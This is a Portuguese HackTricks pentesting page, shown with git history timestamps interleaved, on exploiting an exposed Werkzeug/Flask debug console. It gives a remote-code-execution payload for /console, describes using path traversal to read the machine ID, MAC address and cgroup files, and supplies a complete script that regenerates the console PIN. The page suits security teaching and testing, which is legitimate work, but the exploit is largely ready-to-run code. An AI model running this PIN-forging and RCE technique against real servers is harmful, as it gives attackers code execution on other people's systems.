hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

204 lines
8.9 KiB
Markdown
Raw Normal View History

# Werkzeug / Flask Debug
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década de existência que ocorrerá nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de alto conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.\
Registre-se agora no seguinte link e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org" %}
## Console RCE
2020-11-22 21:47:52 +00:00
Se o modo de depuração estiver ativo, você pode tentar acessar `/console` e obter RCE.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
Existem também vários exploits na internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) ou um no metasploit.
2020-11-22 21:47:52 +00:00
## Protegido por PIN - Path Traversal
2020-11-22 21:47:52 +00:00
Em algumas ocasiões, o endpoint **`/console`** vai estar protegido por um PIN. Se você tiver uma vulnerabilidade de **file traversal**, você pode obter todas as informações necessárias para gerar esse PIN.
2020-11-22 21:47:52 +00:00
### Exploit do PIN da Console Werkzeug
2020-11-22 21:47:52 +00:00
2023-06-06 18:56:34 +00:00
**Copiado do primeiro link.**\
Veja a mensagem “console locked” do Werkzeug forçando a página de erro de debug no app.
```
2020-11-22 21:47:52 +00:00
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Localize o console de debug vulnerável Werkzeug no caminho `vulnerable-site.com/console`, mas está bloqueado por um número PIN secreto.
2020-11-22 21:47:52 +00:00
Você pode reverter o algoritmo que gera o PIN do console. Inspecione o arquivo `__init__.py` do debug do Werkzeug no servidor, por exemplo, `python3.5/site-packages/werkzeug/debug/__init__.py`. Você pode visualizar o [**repositório de código-fonte do Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **para verificar como o PIN é gerado**, mas é melhor obter o código-fonte através de **vulnerabilidade de travessia de arquivo** já que as versões podem ser diferentes.
2020-11-22 21:47:52 +00:00
2023-06-06 18:56:34 +00:00
Variáveis necessárias para explorar o PIN do console:
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
2020-11-22 21:47:52 +00:00
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
2020-11-22 21:47:52 +00:00
]
```
#### **`probably_public_bits`**
2023-06-06 18:56:34 +00:00
* **`username`** é o usuário que iniciou este Flask
* **`modname`** é flask.app
* `getattr(app, '__name__', getattr(app.__class__, '__name__'))` é **Flask**
* `getattr(mod, '__file__', None)` é o **caminho absoluto de `app.py`** no diretório flask (ex.: `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Se `app.py` não funcionar, **tente `app.pyc`**
#### `private_bits`
2020-11-22 21:47:52 +00:00
* `uuid.getnode()` é o **endereço MAC do computador atual**, `str(uuid.getnode())` é a expressão decimal do endereço mac.
* Para **encontrar o endereço MAC do servidor**, é necessário saber qual **interface de rede está sendo usada** para servir o aplicativo (ex.: `ens3`). Se desconhecido, **vaze `/proc/net/arp`** para identificação do dispositivo e então **vaze** o endereço MAC em **`/sys/class/net/<id do dispositivo>/address`**.
Converta **de endereço hex para representação decimal** executando em python, por exemplo:
```python
# Era 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
* `get_machine_id()` concatena os **valores em `/etc/machine-id`** ou **`/proc/sys/kernel/random/boot_id`** com a **primeira linha de `/proc/self/cgroup`** após a última barra (`/`).
<details>
<summary>Código de get_machine_id()</summary>
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
2023-08-29 18:57:50 +00:00
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
2023-08-29 18:57:50 +00:00
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
2023-08-29 18:57:50 +00:00
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
2023-08-29 18:57:50 +00:00
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
</details>
Uma vez todas as variáveis preparadas, execute o script de exploit para gerar o PIN do console Werkzeug:
2020-11-22 21:53:42 +00:00
```python
2020-11-22 21:47:52 +00:00
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
2020-11-22 21:47:52 +00:00
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
2020-11-22 21:47:52 +00:00
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
2020-11-22 21:47:52 +00:00
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
2020-11-22 21:47:52 +00:00
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
2020-11-22 21:47:52 +00:00
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
2020-11-22 21:47:52 +00:00
print(rv)
```
{% hint style="success" %}
Se você estiver em uma **versão antiga** do Werkzeug, tente mudar o **algoritmo de hash para md5** em vez de sha1.
{% endhint %}
2022-04-28 16:01:33 +00:00
## Referências
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (4).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR Security Conference é um evento internacional de cibersegurança**](https://www.dragonjarcon.org/) com mais de uma década que será realizado nos dias **7 e 8 de setembro de 2023** em Bogotá, Colômbia. É um evento de alto conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores do mundo todo.\
2023-06-06 18:56:34 +00:00
Registre-se agora no seguinte link e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org" %}
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>